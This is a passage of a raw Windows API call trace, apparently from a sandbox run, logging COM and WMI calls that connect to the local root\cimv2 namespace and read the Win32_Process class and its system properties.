WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0135.452] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.452] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc58460) returned 0x0 [0135.452] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc58460, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bc36e70) returned 0x0 [0135.501] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36e70, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc42260) returned 0x0 [0135.501] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc42260, pProxy=0x1bc36e70, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0135.501] WbemLocator:IUnknown:Release (This=0x1bc42260) returned 0x1 [0135.501] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36e70, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc422a0) returned 0x0 [0135.501] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36e70, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc42260) returned 0x0 [0135.502] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc42260, pProxy=0x1bc36e70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0135.502] WbemLocator:IUnknown:Release (This=0x1bc42260) returned 0x2 [0135.502] WbemLocator:IUnknown:Release (This=0x1bc422a0) returned 0x1 [0135.502] CoTaskMemFree (pv=0x1bc1c040) [0135.502] WbemLocator:IUnknown:AddRef (This=0x1bc36e70) returned 0x2 [0135.502] WbemLocator:IUnknown:Release (This=0x1bc58460) returned 0x0 [0135.503] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0135.503] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0135.503] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36e70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc42270) returned 0x0 [0135.503] WbemLocator:IRpcOptions:Query (in: This=0x1bc42270, pPrx=0x1bc584c0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0135.503] WbemLocator:IUnknown:Release (This=0x1bc42270) returned 0x2 [0135.503] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0135.503] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0135.503] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36e70, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc36e70) returned 0x0 [0135.503] WbemLocator:IUnknown:Release (This=0x1bc36e70) returned 0x2 [0135.503] SysStringLen (param_1=0x0) returned 0x0 [0135.504] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0135.504] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0135.504] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0135.504] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0135.504] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0135.504] IWbemServices:GetObject (in: This=0x1bc36e70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bc2a8c0, ppCallResult=0x0) returned 0x0 [0135.507] IWbemClassObject:Get (in: This=0x1bc2a8c0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0135.507] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0135.507] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0135.507] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0135.507] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0135.507] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0135.508] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.509] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bc58460) returned 0x0 [0135.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58460, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0135.510] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58460, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc3f380) returned 0x0 [0135.510] WbemDefPath:IUnknown:Release (This=0x1bc58460) returned 0x0 [0135.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc3f380) returned 0x0 [0135.510] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0135.510] WbemDefPath:IUnknown:AddRef (This=0x1bc3f380) returned 0x3 [0135.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0135.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0135.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bc58480) returned 0x0 [0135.511] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58480, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.511] WbemDefPath:IUnknown:Release (This=0x1bc58480) returned 0x3 [0135.511] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0135.511] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0135.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0135.511] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x2 [0135.511] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x1 [0135.511] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0135.511] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0135.511] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f380, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc3f380) returned 0x0 [0135.511] WbemDefPath:IUnknown:AddRef (This=0x1bc3f380) returned 0x3 [0135.511] WbemDefPath:IUnknown:Release (This=0x1bc3f380) returned 0x2 [0135.511] WbemDefPath:IWbemPath:SetText (This=0x1bc3f380, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0135.511] IWbemClassObject:Get (in: This=0x1bc2a8c0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0135.512] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0135.512] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0135.512] IWbemClassObject:Get (in: This=0x1bc2a8c0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0135.512] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0135.512] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0135.512] IWbemClassObject:Get (in: This=0x1bc2a8c0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0135.512] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0135.512] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0135.513] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0135.513] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0135.513] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0135.513] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.515] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc58620) returned 0x0 [0135.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58620, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0135.515] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58620, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f440) returned 0x0 [0135.515] WbemDefPath:IUnknown:Release (This=0x1bc58620) returned 0x0 [0135.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f440) returned 0x0 [0135.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0135.515] WbemDefPath:IUnknown:AddRef (This=0x1bc3f440) returned 0x3 [0135.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0135.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0135.515] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc58660) returned 0x0 [0135.516] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58660, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.516] WbemDefPath:IUnknown:Release (This=0x1bc58660) returned 0x3 [0135.516] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0135.516] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0135.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0135.516] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x2 [0135.516] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x1 [0135.516] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0135.516] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0135.516] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f440, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f440) returned 0x0 [0135.516] WbemDefPath:IUnknown:AddRef (This=0x1bc3f440) returned 0x3 [0135.516] WbemDefPath:IUnknown:Release (This=0x1bc3f440) returned 0x2 [0135.516] WbemDefPath:IWbemPath:SetText (This=0x1bc3f440, uMode=0x4, pszPath="") returned 0x0 [0135.516] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0135.516] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0135.516] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0135.516] IUnknown:Release (This=0x1a943398) returned 0x1 [0135.518] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc58620) returned 0x0 [0135.518] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58620, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0135.518] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58620, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f500) returned 0x0 [0135.519] WbemDefPath:IUnknown:Release (This=0x1bc58620) returned 0x0 [0135.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f500) returned 0x0 [0135.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0135.519] WbemDefPath:IUnknown:AddRef (This=0x1bc3f500) returned 0x3 [0135.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0135.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0135.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc586a0) returned 0x0 [0135.519] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc586a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0135.519] WbemDefPath:IUnknown:Release (This=0x1bc586a0) returned 0x3 [0135.519] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0135.519] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0135.519] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, 